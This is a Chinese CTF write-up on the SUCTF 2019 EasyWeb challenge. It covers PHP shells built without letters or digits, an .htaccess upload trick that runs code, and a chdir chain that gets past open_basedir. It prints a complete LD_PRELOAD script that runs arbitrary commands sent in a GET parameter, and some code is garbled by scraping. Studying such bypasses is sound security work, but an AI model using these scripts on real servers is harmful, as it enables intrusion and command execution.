刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)
目录
刷题记录:[SUCTF 2019]EasyWeb(EasyPHP)题目复现链接:https://buuoj.cn/challenges 一、涉及知识点1、无数字字母shell先贴大佬的链接: 这个方面充满了奇技淫巧,看的我一愣一愣,先说利用的php特性: (1)代码中没有引号的字符都自动作为字符串
我猜这也是为什么传马的时候 (2)Ascii码大于 0x7F 的字符都会被当作字符串(3)php 在获取 HTTP GET 参数的时候默认是获得到了字符串类型(4)PHP中的的大括号(花括号{})使用详解
57)字符串可以用!操作符来进行布尔类型的转换<?php var_dump(@a); //string(1) "a" var_dump([email?protected]); //bool(false) var_dump([email?protected]); //bool(true) (6)PHP的弱类型特性
(7)a-zA-Z使用自增变成下一个字母
2、利用.htaccess上传文件当 AddType application/x-httpd-php .wuwu php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu" 3、绕过open_basedir/disable_function的几种方法(1)chdir绕过bypass open_basedir的新方法 chdir('xxx');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo(file_get_contents('flag')); (2)链接文件绕过php5全版本绕过open_basedir读文件脚本 (3)disable_function绕过--利用LD_PRELOAD很厉害的东西,我看傻了都 条件:PHP 支持putenv()和下面用到的函数 贴上关键脚本 <?php echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>"; $cmd = $_GET["cmd"]; $out_path = $_GET["outpath"]; $evil_cmdline = $cmd . " > " . $out_path . " 2>&1"; echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>"; putenv("EVIL_CMDLINE=" . $evil_cmdline); $so_path = $_GET["sopath"]; putenv("LD_PRELOAD=" . $so_path); mail("","",""); //error_log("err",1,""); //$img = Imagick("1.mp4");//如果有ImageMagick这个扩展(文件必须存在) //imap_mail("","");//需要安装imap拓展 //mb_send_mail("",""); echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>"; unlink($out_path); ?> (4)fpm 绕过还没解出来,有空再更 (编辑:李大同) 【声明】本站内容均来自网络,其相关言论仅代表作者个人观点,不代表本站立场。若无意侵犯到您的权利,请及时与联系站长删除相关内容! |